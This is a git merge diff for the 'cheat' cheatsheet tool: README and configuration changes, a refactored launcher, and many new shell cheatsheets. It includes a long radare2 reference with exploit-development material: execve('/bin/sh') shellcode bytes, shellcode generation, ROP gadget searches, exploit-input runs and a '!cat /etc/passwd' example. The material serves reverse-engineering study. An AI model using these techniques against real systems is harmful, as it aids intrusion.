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cheat
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Merge remote-tracking branch 'upstream/master'

This commit is contained in:
Aroonav Mishra 2019-02-05 10:14:39 +05:30
parent d048ea5a10 d6c7863573
commit da92421948
48 changed files with 2002 additions and 258 deletions
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3
.gitignore vendored
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@ -1,4 +1,7 @@
*.log
*.pyc
.env
.vagrant
MANIFEST
build
cheat.egg-info

58
README.md
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@ -83,37 +83,47 @@ with your [dotfiles][].
Configuring
-----------
### Setting a DEFAULT_CHEAT_DIR ###
### Setting a CHEAT_USER_DIR ###
Personal cheatsheets are saved in the `~/.cheat` directory by default, but you
can specify a different default by exporting a `DEFAULT_CHEAT_DIR` environment
can specify a different default by exporting a `CHEAT_USER_DIR` environment
variable:
```sh
export DEFAULT_CHEAT_DIR='/path/to/my/cheats'
export CHEAT_USER_DIR='/path/to/my/cheats'
```
### Setting a CHEATPATH ###
### Setting a CHEAT_PATH ###
You can additionally instruct `cheat` to look for cheatsheets in other
directories by exporting a `CHEATPATH` environment variable:
directories by exporting a `CHEAT_PATH` environment variable:
```sh
export CHEATPATH='/path/to/my/cheats'
export CHEAT_PATH='/path/to/my/cheats'
```
You may, of course, append multiple directories to your `CHEATPATH`:
You may, of course, append multiple directories to your `CHEAT_PATH`:
```sh
export CHEATPATH="$CHEATPATH:/path/to/more/cheats"
export CHEAT_PATH="$CHEAT_PATH:/path/to/more/cheats"
```
You may view which directories are on your `CHEATPATH` with `cheat -d`.
You may view which directories are on your `CHEAT_PATH` with `cheat -d`.
### Enabling Syntax Highlighting ###
`cheat` can optionally apply syntax highlighting to your cheatsheets. To enable
syntax highlighting, export a `CHEATCOLORS` environment variable:
`cheat` can optionally apply syntax highlighting to your cheatsheets. To
enable syntax highlighting, export a `CHEAT_COLORS` environment variable:
```sh
export CHEATCOLORS=true
export CHEAT_COLORS=true
```
Note that [pygments][] must be installed on your system for this to work.
`cheat` ships with both light and dark colorschemes to support terminals with
different background colors. A colorscheme may be selected via the
`CHEAT_COLORSCHEME` envvar:
```sh
export CHEAT_COLORSCHEME=light # must be 'light' (default) or 'dark'
```
#### Specifying a Syntax Highlighter ####
@ -134,6 +144,23 @@ WHERE id = 100
If no syntax highlighter is specified, the `bash` highlighter will be used by
default.
### Enabling Search Match Highlighting ###
`cheat` can optionally be configured to highlight search term matches in search
results. To do so, export a `CHEAT_HIGHLIGHT` environment variable with a value
of one of the following:
- blue
- cyan
- green
- grey
- magenta
- red
- white
- yellow
Note that the `termcolor` module must be installed on your system for this to
work.
See Also:
---------
@ -141,8 +168,9 @@ See Also:
- [Related Projects][related-projects]
[autocompletion]: https://github.com/chrisallenlane/cheat/wiki/Enabling-Command-line-Autocompletion
[autocompletion]: https://github.com/cheat/cheat/wiki/Enabling-Command-line-Autocompletion
[dotfiles]: http://dotfiles.github.io/
[gfm]: https://help.github.com/articles/creating-and-highlighting-code-blocks/
[installing]: https://github.com/chrisallenlane/cheat/wiki/Installing
[related-projects]: https://github.com/chrisallenlane/cheat/wiki/Related-Projects
[installing]: https://github.com/cheat/cheat/wiki/Installing
[pygments]: http://pygments.org/
[related-projects]: https://github.com/cheat/cheat/wiki/Related-Projects

17
Vagrantfile vendored Normal file
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@ -0,0 +1,17 @@
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
config.vm.box = "ubuntu/bionic64"
config.vm.provider "virtualbox" do |vb|
vb.memory = "512"
end
config.vm.provision "shell", inline: <<-SHELL
sudo apt-get update
sudo apt-get install -y python-pip
su vagrant && sudo -H pip install docopt pygments termcolor flake8
cd /vagrant && sudo python setup.py install
SHELL
end

60
bin/cheat
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@ -13,7 +13,7 @@ Usage:
cheat -v
Options:
-d --directories List directories on CHEATPATH
-d --directories List directories on $CHEAT_PATH
-e --edit Edit cheatsheet
-l --list List cheatsheets
-s --search Search cheatsheets for <keyword>
@ -35,31 +35,71 @@ Examples:
"""
# require the dependencies
from cheat import sheets, sheet
from cheat.utils import colorize
from __future__ import print_function
from cheat.colorize import Colorize
from cheat.configuration import Configuration
from cheat.sheet import Sheet
from cheat.sheets import Sheets
from cheat.utils import Utils
from docopt import docopt
import os
if __name__ == '__main__':
# parse the command-line options
options = docopt(__doc__, version='cheat 2.2.1')
options = docopt(__doc__, version='cheat 2.5.0')
# initialize and validate configs
config = Configuration()
config.validate()
# create the CHEAT_USER_DIR if it does not exist
if not os.path.isdir(config.cheat_user_dir):
try:
os.mkdir(config.cheat_user_dir)
except OSError:
Utils.die("%s %s %s" % (
'Could not create CHEAT_USER_DIR (',
config.cheat_user_dir,
')')
)
# assert that the CHEAT_USER_DIR is readable and writable
if not os.access(config.cheat_user_dir, os.R_OK):
Utils.die("%s %s %s" % (
'The CHEAT_USER_DIR (',
config.cheat_user_dir,
') is not readable')
)
if not os.access(config.cheat_user_dir, os.W_OK):
Utils.die("%s %s %s" % (
'The CHEAT_USER_DIR (',
config.cheat_user_dir,
') is not writeable')
)
# bootsrap
sheets = Sheets(config)
sheet = Sheet(config, sheets)
colorize = Colorize(config)
# list directories
if options['--directories']:
print("\n".join(sheets.paths()))
print("\n".join(sheets.directories()))
# list cheatsheets
elif options['--list']:
print(sheets.list())
print(sheets.list(), end="")
# create/edit cheatsheet
elif options['--edit']:
sheet.create_or_edit(options['<cheatsheet>'])
sheet.edit(options['<cheatsheet>'])
# search among the cheatsheets
elif options['--search']:
print(colorize(sheets.search(options['<keyword>'])))
print(colorize.syntax(sheets.search(options['<keyword>'])), end="")
# print the cheatsheet
else:
print(colorize(sheet.read(options['<cheatsheet>'])))
print(colorize.syntax(sheet.read(options['<cheatsheet>'])), end="")

3
cheat/__init__.py
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@ -1,3 +0,0 @@
from . import sheet
from . import sheets
from . import utils

4
cheat/cheatsheets/__init__.py
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@ -1,4 +0,0 @@
import os
def sheets_dir():
return os.path.split(__file__)

11
cheat/cheatsheets/cd Normal file
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@ -0,0 +1,11 @@
#Go to the given directory
cd path/to/directory
#Go to home directory of current user
cd
#Go up to the parent of the current directory
cd ..
#Go to the previously chosen directory
cd -

2
cheat/cheatsheets/convert
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@ -15,5 +15,5 @@ convert original-image.jpg -resize 100x converted-image.png
for file in `ls original/image/path/`;
do new_path=${file%.*};
new_file=`basename $new_path`;
convert $file -resize 150 conerted/image/path/$new_file.png;
convert $file -resize 150 converted/image/path/$new_file.png;
done

3
cheat/cheatsheets/cp
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@ -6,3 +6,6 @@ cp -r ~/Desktop/cruise_pics/ ~/Pictures/
# Create a copy but ask to overwrite if the destination file already exists
cp -i ~/Desktop/foo.txt ~/Documents/foo.txt
# Create a backup file with date
cp foo.txt{,."$(date +%Y%m%d-%H%M%S)"}

5
cheat/cheatsheets/curl
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@ -29,10 +29,13 @@ curl -C - -o partial_file.zip http://example.com/file.zip
curl -I http://example.com
# Fetch your external IP and network info as JSON
curl http://ifconfig.me/all/json
curl http://ifconfig.me/all.json
# Limit the rate of a download
curl --limit-rate 1000B -O http://path.to.the/file
# Get your global IP
curl httpbin.org/ip
# Get only the HTTP status code
curl -o /dev/null -w '%{http_code}\n' -s -I URL

7
cheat/cheatsheets/emacs
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@ -1,3 +1,8 @@
# Running emacs
GUI mode $ emacs
Terminal mode $ emacs -nw
# Basic usage
Indent Select text then press TAB
@ -17,7 +22,7 @@
Font size bigger CTRL-x CTRL-+
Font size smaller CTRL-x CTRL--
# Buffers
# Buffers
Split screen vertically CTRL-x 2
Split screen vertically with 5 row height CTRL-u 5 CTRL-x 2

6
cheat/cheatsheets/find
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@ -19,11 +19,11 @@ find ./path/ -name '*.txt' -exec rm '{}' \;
# To find files with extension '.txt' and look for a string into them:
find ./path/ -name '*.txt' | xargs grep 'string'
# To find files with size bigger than 5 Mb and sort them by size:
# To find files with size bigger than 5 Mebibyte and sort them by size:
find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z
# To find files bigger thank 2 MB and list them:
find . -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
# To find files bigger than 2 Megabyte and list them:
find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
# To find files modified more than 7 days ago and list file information
find . -type f -mtime +7d -ls

18
cheat/cheatsheets/for
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@ -10,8 +10,26 @@ do
echo $var
done
# loop over all the JPG files in the current directory
for jpg_file in *.jpg
do
echo $jpg_file
done
# loop specified number of times
for i in `seq 1 10`
do
echo $i
done
# loop specified number of times: the C/C++ style
for ((i=1;i<=10;++i))
do
echo $i
done
# loop specified number of times: the brace expansion
for i in {1..10}
do
echo $i
done

12
cheat/cheatsheets/gyb Normal file
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@ -0,0 +1,12 @@
# To estimate the number and the size of all mails on youremail@gmail.com
gyb --email youremail@gmail.com --action estimate
# To backup from youremail@gmail.com to your local-folder
gyb --email youremail@gmail.com --action backup --local-folder "~/MyLocalFolder/"
# To backup from youremail@gmail.com only important or starred emails to the
# default local folder GYB-GMail-Backup-youremail@gmail.com
gyb --email youremail@gmail.com --search "is:important OR is:starred"
# To restore from your local-folder to youremail@gmail.com
gyb --email youremail@gmail.com --action restore --local-folder "~/MyLocalFolder/"

3
cheat/cheatsheets/iconv Normal file
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@ -0,0 +1,3 @@
# To convert file (iconv.src) from iso-8859-1 to utf-8 and save to
# /tmp/iconv.out
iconv -f iso-8859-1 -t utf-8 iconv.src -o /tmp/iconv.out

21
cheat/cheatsheets/lsblk Normal file
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@ -0,0 +1,21 @@
# Show all available block devices along with their partitioning schemes
lsblk
# To show SCSI devices:
lsblk --scsi
# To show a specific device
lsblk /dev/sda
# To verify TRIM support:
# Check the values of DISC-GRAN (discard granularity) and DISC-MAX (discard max bytes) columns.
# Non-zero values indicate TRIM support
lsblk --discard
# To featch info about filesystems:
lsblk --fs
# For JSON, LIST or TREE output formats use the following flags:
lsblk --json
lsblk --list
lsblk --tree # default view

4
cheat/cheatsheets/markdown
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@ -38,7 +38,7 @@ This is [an example](http://example.com "Title") inline link.
# image
![Alt Text](/path/to/file.png)
# emphasis
# formatting
*em* _em_
**strong** __strong__
~~strikethrough~~

22
cheat/cheatsheets/mutt Normal file
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@ -0,0 +1,22 @@
# Create new mailbox in IMAP
+ When located in mailbox list (c)
shift + C
# Move multiple messages to folder (bulk operations)
1. Select/tag them with alt+'t'
2. ;s in mail inbox overview for bulk operation
# Deleting / Undeleting all messages in mutt
1. In mutt’s index, hit ‘D’ (UPPERCASE D)
2. It will prompt you with “Delete messages matching: “
+ enter this string:
~A
3. It should mark all for deletion!
4. Conversely, you can do the same thing with UPPERCASE U to undelete multiple messages.

3
cheat/cheatsheets/mv
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@ -12,3 +12,6 @@ mv -i ~/Desktop/foo.txt ~/Documents/foo.txt
# Move a file from one place to another but never overwrite anything
# (This will override any previous -f or -i args)
mv -n ~/Desktop/foo.txt ~/Documents/foo.txt
# Move listed files to a directory
mv -t ~/Desktop/ file1 file2 file3

8
cheat/cheatsheets/mysql
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@ -28,4 +28,10 @@ INSERT INTO tbl_name (col1,col2) VALUES(15,col1*2);
UPDATE tbl_name SET col1 = "example";
# Basic DELETE Statement
DELETE FROM tbl_name WHERE user = 'jcole';
DELETE FROM tbl_name WHERE user = 'jcole';
# To check stored procedure
SHOW PROCEDURE STATUS;
# To check stored function
SHOW FUNCTION STATUS;

5
cheat/cheatsheets/nmcli
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@ -34,7 +34,10 @@ nmcli dev status
# Add a dynamic ethernet connection - parameters:
# <name> -- the name of the connection
# <iface_name> -- the name of the interface
ncmli con add type ethernet con-name <name> ifname <iface_name>
nmcli con add type ethernet con-name <name> ifname <iface_name>
# Import OpenVPN connection settings from file:
nmcli con import type openvpn file <path_to_ovpn_file>
# Bring up the ethernet connection
nmcli con up <name>

3
cheat/cheatsheets/pacman
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@ -27,6 +27,9 @@ pacman -Ql <package name> | sed -n -e 's/.*\/bin\///p' | tail -n +2
# To list explicitly installed packages
pacman -Qe
# To list the top-most recent explicitly installed packages (not in the base groups)
expac --timefmt='%Y-%m-%d %T' '%l\t%n' $(comm -23 <(pacman -Qeq|sort) <(pacman -Qqg base base-devel|sort)) | sort -r | head -20
# To list orphan packages (installed as dependencies and not required anymore)
pacman -Qdt

8
cheat/cheatsheets/perl Normal file
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@ -0,0 +1,8 @@
# To view the perl version:
perl -v
# Replace string "\n" to newline
echo -e "foo\nbar\nbaz" | perl -pe 's/\n/\\n/g;'
# Replace newline with multiple line to space
cat test.txt | perl -0pe "s/test1\ntest2/test1 test2/m"

936
cheat/cheatsheets/r2 Normal file
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@ -0,0 +1,936 @@
# Command Line options
-L: List of supported IO plugins
-q: Exit after processing commands
-w: Write mode enabled
-i: Interprets a r2 script
-A: Analize executable at load time (xrefs, etc)
-n: Bare load. Do not load executable info as the entrypoint
-c'cmds': Run r2 and execute commands (eg: r2 -wqc'wx 3c @ main')
-p: Creates a project for the file being analyzed (CC add a comment when opening a file as a project)
-: Opens r2 with the malloc plugin that gives a 512 bytes memory area to play with (size can be changed); Similar to r2 malloc://512
-----------------------------------------------------------------------------------------------------------------------------
# Configuration properties
e: Returs configuration properties
e <property>: Checks a specific property:
e asm.tabs => false
e <property>=<value>: Change property value
e asm.arch=ppc
e? help about a configuration property
e? cmd.stack
# Show comments at right of disassembly if they fit in screen
e asm.cmtright=true
# Shows pseudocode in disassembly. Eg mov eax, str.ok = > eax = str.ok
e asm.pseudo = true
# Display stack and register values on top of disasembly view (visual mode)
e cmd.stack = true
# Solarized theme
eco solarized
# Use UTF-8 to show cool arrows that do not look like crap :)
e scr.utf8 = true
-----------------------------------------------------------------------------------------------------------------------------
# Basic Commands
; Command chaining: x 3;s+3;pi 3;s+3;pxo 4;
| Pipe with shell commands: pd | less
! Run shell commands: !cat /etc/passwd
!! Escapes to shell, run command and pass output to radare buffer
Note: The double exclamation mark tells radare to skip the plugin list to find an IO plugin handling this
command to launch it directly to the shell. A single one will walk through the io plugin list.
` Radare commands: wx `!ragg2 -i exec`
~ grep
~! grep -v
~[n] grep by columns afl~[0]
~:n grep by rows afl~:0
<command>~.. less/more mode
+-------------------------------------------------------------------
pi~mov,eax ; lines with mov or eax
pi~mov&eax ; lines with mov and eax
pi~mov,eax:6 ; 6 first lines with mov or eax
pd 20~call[0]:0 ; grep first column of the first row matching 'call'
+-------------------------------------------------------------------
.cmd Interprets command output
+-------------------------------------------------------------------
is* prints symbolos
.is* interprets output and define the symbols in radare (normally they are already loaded if r2 was not invoked with -n)
+-------------------------------------------------------------------
.. repeats last commands (same as enter \n)
( Used to define and run macros
$ Used to define alias
$$: Resolves to current address
Offsets (@) are absolute, we can use $$ for relative ones @ $$+4
? Evaluate expression
+-------------------------------------------------------------------
[0x00000000]> ? 33 +2
35 0x23 043 0000:0023 35 00100011 35.0 0.000000
Note: | and & need to be escaped
+-------------------------------------------------------------------
?$? Help for variables used in expressions
$$: Here
$s: File size
$b: Block size
$l: Opcode length
$j: When $$ is at a jmp, $j is the address where we are going to jump to
$f: Same for jmp fail address
$m: Opcode memory reference (e.g. mov eax,[0x10] => 0x10)
??? Help for ? command
?i Takes input from stdin. Eg ?i username
?? Result from previous operations
?s from to [step]: Generates sequence from to every
?p: Get physical address for given virtual address
?P: Get virtual address for given physical one
?v Show hex value of math expr
+-------------------------------------------------------------------
?v 0x1625d4ca ^ 0x72ca4247 = 0x64ef968d
?v 0x4141414a - 0x41414140 = 0xa
+-------------------------------------------------------------------
?l str: Returns the length of string
@@: Used for iteractions
+-------------------------------------------------------------------
wx ff @@10 20 30 Writes ff at offsets 10, 20 and 30
wx ff @@`?s 1 10 2` Writes ff at offsets 1, 2 and 3
wx 90 @@ sym.* Writes a nop on every symbol
+-------------------------------------------------------------------
# Positioning
s address: Move cursor to address or symbol
s-5 (5 bytes backwards)
s- undo seek
s+ redo seek
# Block Size
b size: Change block size
# Analyze
aa: Analyze all (fcns + bbs) same that running r2 with -A
ahl <length> <range>: fake opcode length for a range of bytes
ad: Analyze data
ad@rsp (analize the stack)
+ Normal mode
af: Analyze functions
afl: List all functions
number of functions: afl~?
afi: Returns information about the functions we are currently at
afr: Rename function: structure and flag
afr off: Restore function name set by r2
afn: Rename function
afn strlen 0x080483f0
af-: Removes metadata generated by the function analysis
af+: Define a function manually given the start address and length
af+ 0xd6f 403 checker_loop
axt: Returns cross references to (xref to)
axf: Returns cross references from (xref from)
+ Visual mode
d, f: Function analysis
d, u: Remove metadata generated by function analysis
+ Opcode analysis
ao x: Analize x opcodes from current offset
a8 bytes: Analize the instruction represented by specified bytes
# Information
iI: File info
iz: Strings in data section
izz: Strings in the whole binary
iS: Sections
iS~w returns writable sections
is: Symbols
is~FUNC exports
il: Linked libraries
ii: Imports
ie: Entrypoint
+ Mitigations
i~pic : check if the binary has position-independent-code
i~nx : check if the binary has non-executable stack
i~canary : check if the binary has canaries
# Print
psz n @ offset: Print n zero terminated String
px n @ offset: Print hexdump (or just x) of n bytes
pxw n @ offset: Print hexdump of n words
pxw size@offset prints hexadecimal words at address
pd n @ offset: Print n opcodes disassambled
pD n @ offset: Print n bytes disassembled
pi n @ offset: Print n instructions disassambeled (no address, XREFs, etc. just instrunctions)
pdf @ offset: Print disassembled function
pdf~XREF (grep: XREFs)
pdf~call (grep: calls)
pcp n @ offset: Print n bytes in python string output.
pcp 0x20@0x8048550
import struct
buf = struct.pack ("32B",
0x55,0x89,0xe5,0x83,0xzz,0xzz,0xzz,0xzz,0xf0,0x00,0x00,
0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xeb,0x20,
0xc7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xzz,0xzz)
p8 n @ offset: Print n bytes (8bits) (no hexdump)
pv: Print file contents as IDA bar and shows metadata for each byte (flags , ...)
pt: Interpret data as dates
pf: Print with format
pf.: list all formats
p=: Print entropy ascii graph
# Write
wx: Write hex values in current offset
wx 123456
wx ff @ 4
wa: Write assembly
wa jnz 0x400d24
wc: Write cache commit
wv: Writes value doing endian conversion and padding to byte
wo[x]: Write result of operation
wow 11223344 @102!10
write looped value from 102 to 102+10
0x00000066 1122 3344 1122 3344 1122 0000 0000 0000
wox 0x90
XOR the current block with 0x90. Equivalent to wox 0x90 $$!$b (write from current position, a whole block)
wox 67 @4!10
XOR from offset 4 to 10 with value 67
wf file: Writes the content of the file at the current address or specified offset (ASCII characters only)
wF file: Writes the content of the file at the current address or specified offset
wt file [sz]: Write to file (from current seek, blocksize or sz bytes)
Eg: Dump ELF files with wt @@ hit0* (after searching for ELF headers: \x7fELF)
woO 41424344 : get the index in the De Bruijn Pattern of the given word
# Flags
f: List flags
f label @ offset: Define a flag `label` at offset
f str.pass_len @ 0x804999c
f -label: Removes flag
fr: Rename flag
fd: Returns position from nearest flag (looking backwards). Eg => entry+21
fs: Show all flag spaces
fs flagspace: Change to the specified flag space
fe loop and create numbered flags:
1. fs demo_flagspace
2. fe demo_flagspace @@=`pdf~jne[1]`
# Yank & Paste
y n: Copies n bytes from current position
y: Shows yank buffer contentent with address and length where each entry was copied from
yp: Prints yank buffer
yy offset: Paste the contents of the yank buffer at the specified offset
yt n target @ source: Yank to. Copy n bytes fromsource to target address
# Visual Mode
q: Exits visual mode
hjkl: move around (or HJKL) (left-down-up-right)
o: go/seek to given offset
?: Help
.: Seek EIP
<enter>: Follow address of the current jump/call
:cmd: Enter radare commands. Eg: x @ esi
d[f?]: Define cursor as a string, data, code, a function, or simply to undefine it.
dr: Rename a function
df: Define a function
v: Get into the visual code analysis menu to edit/look closely at the current function.
p/P: Rotate print (visualization) modes
hex, the hexadecimal view
disasm, the disassembly listing
Use numbers in [] to follow jump
Use "u" to go back
debug, the debugger
words, the word-hexidecimal view
buf, the C-formatted buffer
annotated, the annotated hexdump.
c: Changes to cursor mode or exits the cursor mode
select: Shift+[hjkl]
i: Insert mode
a: assembly inline
A: Assembly in visual mode
y: Copy
Y: Paste
f: Creates a flag where cursor points to
<tab> in the hexdump view to toggle between hex and strings columns
V: View ascii-art basic block graph of current function
W: WebUI
x, X: XREFs to current function. ("u" to go back)
t: track flags (browse symbols, functions..)
gG: Begging or end of file
HUD
_ Show HUD
backspace: Exits HUD
We can add new commands to HUD in: radare2/shlr/hud/main
;[-]cmt: Add/remove comment
m<char>: Define a bookmark
'<char>: Go to previously defined bookmark
# ROP
/R opcodes: Search opcodes
/R pop,pop,ret
/Rl opcodes: Search opcodes and print them in linear way
/Rl jmp eax,call ebx
/a: Search assembly
/a jmp eax
pda: Returns a library of gadgets that can be use. These gadgets are obtained by disassmbling byte per byte instead of obeying to opcode leng
e search.roplen = 4 (change the depth of the search, to speed-up the hunt)
# Searching
/ bytes: Search bytes
\x7fELF
+-------------------------------------------------------------------
push ebp
mov ebp, esp
Opcodes: 5589e5
/x 5589e5
[# ]hits: 54c0f4 < 0x0804c600 hits = 1
0x08049f70 hit0_0 5589e557565383e4f081ec
0x0804c31a hit0_1 5589e583ec18c704246031
0x0804c353 hit0_2 5589e583ec1889442404c7
0x0804c379 hit0_3 5589e583ec08e87cffffff
0x0804c3a2 hit0_4 5589e583ec18c70424302d
pi 5 @@hit* (Print 5 first instructions of every hit)
+-------------------------------------------------------------------
Its possible to run a command for each hit. Use the cmd.hit property:
e cmd.hit=px
# Comments and defines
Cd [size]: Define as data
C- [size]: Define as code
Cs [size]: Define as String
Cf [size]: Define as struct
We can define structures to be shown in the disassmbly
CC: List all comments or add a new comment in console mode
C* Show all comments/metadata
CC <comment> add new comment
CC- remove comment
# Magic files
pm: Print Magic files analysis
[0x00000000]> pm
0x00000000 1 ELF 32-bit LSB executable, Intel 80386, version 1
/m [magicfile]: Search magic number headers with libmagic
search.align
search.from (0 = beginning)
search.to (0 = end)
search.asmstr
search.in
# Yara
:yara scan
# Zignatures
zg <language> <output file>: Generate signatures
eg: zg go go.z
Run the generated script to load signatures
eg: . go.z
z: To show signatures loaded:
+-------------------------------------------------------------------
r2-(pid2)> pd 35 @ 0x08049adb-10
| 0x08049adb call fcn.0805b030
| fcn.0805b030(unk, unk, unk, unk) ; sign.sign.b.sym.fmt.Println
| 0x08049ae0 add esp, 0xc
| 0x08049ae3 call fcn.08095580
+-------------------------------------------------------------------
# Compare Files
r2 -m 0xf0000 /etc/fstab ; Open source file
o /etc/issue ; Open file2 at offset 0
o ; List both files
cc offset: Diff by columns between current offset address and "offset"
# Graphs
+ Basic block graphs
af: Load function metadata
ag $$ > a.dot: Dump basic block graph to file
ag $$ | xdot: Show current function basic block graph
+ Call graphs
af: Load function metadata
agc $$ > b.dot: Dump basic block graph to file
+ Convert .dot in .png
dot -Tpng -o /tmp/b.png b.dot
+ Generate graph for file
radiff2 -g main crackme.bin crackme.bin > /tmp/a
xdot /tmp/a
# Debugger
+ Start r2 in debugger mode. r2 will fork and attach
r2 -d [pid|cmd|ptrace] (if command contains spaces use quotes: r2 -d "ls /")
ptrace://pid (debug backend does not notice, only access to mapped memory)
+ Pass arguments
r2 -d rarun2 program=pwn1 arg1=$(python exploit.py)
+ Pass stdin
r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py)
+ Commands
do: Reopen program
dp: Shows debugged process, child processes and threads
dc: Continue
dcu <address or symbol>: Continue until symbol (sets bp in address, continua until bp and remove bp)
dc[sfcp]: Continue until syscall(eg: write), fork, call, program address (To exit a library)
ds: Step in
dso: Step out
dss: Skip instruction
dr register=value: Change register value
dr(=)?: Show register values
db address: Sets a breakpoint at address
db sym.main add breakpoint into sym.main
db 0x804800 add breakpoint
db -0x804800 remove breakpoint
dsi (conditional step): Eg: "dsi eax==3,ecx>0"
dbt: Shows backtrace
drr: Display in colors and words all the refs from registers or memory
dm: Shows memory map (* indicates current section)
[0xb776c110]> dm
sys 0x08048000 - 0x08062000 s r-x /usr/bin/ls
sys 0x08062000 - 0x08064000 s rw- /usr/bin/ls
sys 0xb776a000 - 0xb776b000 s r-x [vdso]
sys 0xb776b000 * 0xb778b000 s r-x /usr/lib/ld-2.17.so
sys 0xb778b000 - 0xb778d000 s rw- /usr/lib/ld-2.17.so
sys 0xbfe5d000 - 0xbfe7e000 s rw- [stack]
+ To follow child processes in forks (set-follow-fork-mode in gdb)
dcf until a fork happen then use dp to select what process you want to debug.
+ PEDA like details
drr;pd 10@-10;pxr 40@esp
+ Debug in visual mode
toggl breakpoints with F2
single-step with F7 (s)
step-over with F8 (S)
continue with F9
# WebGUI
=h: Start the server
=H: Start server and browser
# rax2 - Base Conversion
-e: Change endian
-k: random ASCII art to represent a number/hash. Similar to how SSH represents keys
-s: ASCII to hex
rax2 -S hola (from string to hex)
rax2 -s 686f6c61 (from hex to string)
-S: binary to hex (for files)
-N: pack an integer
rax2 -N 0x1234 # \x34\x12\x00\x00
# rahash2 - Entropy, hashes and checksums
-a: Specify the algorithm
-b XXX: Block size
-B: Print all blocks
-a entropy: Show file entropy or entropy per block (-B -b 512 -a entropy)
+ Rot13 with rahash2
rahash2 -E rot -S s:13 -s ‘Hello\n’
# radiff2 - File diffing
-s: Calculate text distance from two files.
-d: Delta diffing (For files with different sizes. Its not byte per byte)
-C: Code diffing (instead of data)
+-------------------------------------------------------------------
Diff original and patched on x86_32, using graphdiff algorithm
radiff2 -a x86 -b32 -C original patched
Show differences between original and patched on x86_32
radiff2 -a x86 -b32 original patched :
+-------------------------------------------------------------------
# rasm2 - Assembly/Disasembly
-L: Supported architectures
-a arch instruction: Sets architecture
rasm2 -a x86 'mov eax,30' => b81e000000
-b tam: Sets block size
-d: Disassembly
rasm2 -d b81e000000 => mov eax, 0x1e
-C: Assembly in C output
rasm2 -C 'mov eax,30' => "\xb8\x1e\x00\x00\x00"
-D: Disassemble showing hexpair and opcode
rasm2 -D b81e0000 => 0x00000000 5 b81e000000 mov eax, 0x1e
-f: Read data from file instead of ARG.
-t: Write data to file
+ Disassemble shellcode from hex stdin
+-------------------------------------------------------------------
echo -n "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" | rasm2 -a x86 -b 64 -d -
xor eax, eax
movabs rbx, 0xff978cd091969dd1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
+-------------------------------------------------------------------
# rafind2 - Search
-Z: Look for Zero terminated strings
-s str: Look for specifc string
-X: Hex dump around output
+ Search "/bin/sh" in libc
rafind2 -X -s "/bin/sh" /usr/lib/libc.so.6
# ragg2 - Shellcode generator, C/opcode compiler
P: Generate De Bruijn patterns
ragg2 -P 300 -r
-a arch: Configure architecture
-b bits: Specify architecture bits (32/64)
-i shellcode: Specify shellcode to generate
-e encoder: Specify encoder
+ ragg2-cc: Generate shellcode from c
+ Generate a x86, 32 bits exec shellcode
ragg2 -a x86 -b 32 -i exec
# rabin2 - Executable analysis: symbols, imports, strings
-I: Executable information
-C: Returns classes. Useful to list Java Classes
-l: Dynamic linked libraries
-s: Symbols
-z: Strings
# rarun2 - Launcher to run programs with different environments, args, stdin, permissions, fds
r2 -b 32 -d rarun2 program=pwn1 arg1=$(ragg2 -P 300 -r) : runs pwn1 with a De Bruijn Pattern as first argument, inside radare2's debugger, and force 32 bits
r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) : runs /bin/ls with the output of exploit.py directed to stdin
# ESIL emulation
1) aei: Initialize ESIL VM
2) aeim: Assign ESIL stack
aeim 0xffffd000 0x1000 stack
3) aeip: Program counter to current seek
4) e io.cache=true: Enable caching read/write of virtual memory (Important if self modifying code)
5) aes: Single stepping in emulation mode
+ Toggle IL representation via O in Visual Mode
# ESIL Linear emulation
Find all references to curr. address using linear esil emulation on all imports.
/re$$@@ sym.imp.*
# ESIL IL Representation
op esil
------------
mov =
mul *
div /
and &
neg !
read []
if ?{
add +
sub -
xor ^
or |
cmp ==
write =[]
+ prefix is %
+ carry from bit x -> %cx
+ borrow from bit x -> %bx
+ zero-flag -> %z
+ parity of dst -> %p
+ sign-flag -> %s
+ overflow-flag -> %o
+ BREAK - Stop parsing and emulate next instruction
+ LOOP - restart emulation of instruction
+ GOTO n - jump to n
+ TODO - stop emulation and eprintf("TDOD %s", ins)
x86 ESIL
------------------------------------------------------
mov eax, ebx ebx,eax,=
jz 0xaabbccdd zf,?{,0xaabbccdd,eip,=,}
cmp ecx,edx edx,ecx,==,%z,zf,=,%b32,cf,=,%p,pf,=,%s,sf,=
push ebp 4,esp,-=ebp,esp,=[4]
+ ESIL Doc
https://github.com/radare/radare2book/blob/master/esil.md
# r2pipe commands
+ Invoke r2pipe script via r2 cmdline
[0x00000000]> #!pipe node script.js
[0x00000000]> #!pipe python script.py
+ Good collection:
https://radare.org/get/r2pipe-nn2015.pdf
https://github.com/jpenalbae/r2-scripts
# Parsing ELF
!!! open with r2 -nn
+ Parse 9 program headers (elf_phdr) from curr. seek plus offset 0x40 with temporary block size 0x200 in less mode (~..)
[0x00000000]> pf 9? (elf_phdr)phdr @ $$+0x40!0x200~..
# pf Templates
+ Generate templates for structs/enums with td command
"td enum elf_class {ELFCLASSNONE=0, ELFCLASS32=1, ELFCLASS64=2};"
https://github.com/Maijin/r2-pf-templates/
+ Cast data @ <addr> to <type> and print it
tp <type> = <address>
# r2scapy
r2 -i r2scapy.py dump.bin
[0x00000000]> scapy DNS 0x81de3c 48
DNS(aa=1L, qr=1L, an=DNSRR(rclass=32769, ttl=120, rrname='flashair.local.', rdata='192.168.0.1', type=1), ad=0L, nscount=0, qdcount=1, ns=None, tc=0L, rd=1L, arcount=0, ar=None, opcode=0L, ra=0L, cd=0L, z=0L, rcode=0L, id=0, ancount=1, qd=DNSQR(qclass=32769, qtype=255, qname='flashair.local.'))
+ generate packets with scapy
>>> from scapy.all import *
>>> sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.thepacketgeek.com")),verbose=0)
# r2m2 -Miasm Intermediate Representation Plugin
+ Assemble and disassemble MIPS32 using rasm2
